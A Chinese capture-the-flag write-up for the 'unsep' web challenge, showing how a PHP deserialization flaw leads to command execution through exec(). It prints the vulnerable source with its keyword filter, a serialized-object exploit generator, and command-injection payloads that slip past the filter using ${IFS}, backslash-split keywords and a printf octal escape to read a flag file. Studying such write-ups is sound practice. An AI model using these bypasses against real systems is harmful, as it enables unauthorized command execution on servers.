攻防世界web upsep
【攻防世界web题unsep】
【题目】:unsep(江苏工匠杯)
【难度】:1
【考点】:php反序列化、各种绕过姿势
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) { //检查对象的method属性是否为ping
call_user_func_array(array($this, $this->method), $this->args); //调用method的方法(即ping),传递参数args
}
}
function ping($ip){ //触发命令执行
exec($ip, $result);
var_dump($result); //返回数组
}
function waf($str){ //过滤
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
【思路】:先看代码逻辑:通过post获得'ctf' → base64解密 → 反序列化 → wakeup方法 →waf()正则匹配过滤 → 满足destruct()条件时call_user_func_array(ping(,args) → ping(args)) → exec()执行命令
那我们接下来要做的事就很清楚了,一是绕过过滤名单的执行命令,二是如何满足destruct()的条件。(method属性为ping)
【详解】:构建ease对象,method为ping,args为要执行的命令。
ls被过滤可以用dir或者用斜杠l/s绕过 ;空格被过滤用${IFS}绕过
于是写出代码如下:
<?php
class ease{
private $args;
private $method="ping";
$args=array('dir${IFS}');
}
a=base64_encode(serilalize(new ease());
echo(a);
?>
乍一看该有的都有了,但是报错:`Parse error: syntax error, unexpected variable "$args", expecting "function" or "const" in C:\python_work\php\test1.php on line 5`
???
去查,原因如下:`这个错误是因为在 PHP 类的定义中,不能直接给属性赋值表达式或变量,而只能直接赋值 常量(const) 或 静态值`,我在这里给args这一变量赋值了表达式,故报错。。(就是这人的代码能力太烂了哈:)
修改代码如下:
<?php
class ease{
private $args;
private $method;
public function __construct(){ #在构造函数 __construct() 里初始化
$this->method="ping";
$this->args="dir${IFS}";
}
}
$a=base64_encode(serialize(new ease()));
echo($a);
?>
将返回结果用post发送,却没有回显???
问题出在这里:`$this->args="dir${IFS}";`,因为call_user_func_array()的第二个参数(这里为args)要为一个数组,这行代码应该为:`$this->args=array("dir${IFS})`
即最终代码为:
<?php
class ease{
private $args;
private $method;
public function __construct(){
$this->method="ping";
$this->args=array("dir${IFS}");
}
}
$a=base64_encode(serialize(new ease()));
echo($a);
?>
post传入结果得到flag相关信息:

查看这个目录,将args的命令改为`l\s${IFS}fl\ag_1s_here`,回显可以看见flag

想要获得flag_1s_here/flag_831b69012c67b35f.php的信息,肯定需要绕过对/的过滤。采用八进制转义绕过(/对应\57),使用$(printf${IFS}”\57”)内敛执行输出“/”到字符串中
为什么不是直接用\57而是要$(printf${IFS}”\57”)?
Shell的字符串解析规则不会自动将\57转换为\(除非使用特定语法如 $'\57')。而在php中exec()函数中,传入的命令是由shell解析的。
$(printf${IFS}”\57”)的结构:printf能正确识别\57;$()可以将printf结果嵌入到字符串中。
于是将args的命令改为:c\at${IFS}fl\ag_1s_here$(printf${IFS}"\57")fl\ag_831b69012c67b35f.p\hp,成功读取flag信息。

(一道难度为1的题被我做的一波三折。。。)

浙公网安备 33010602011771号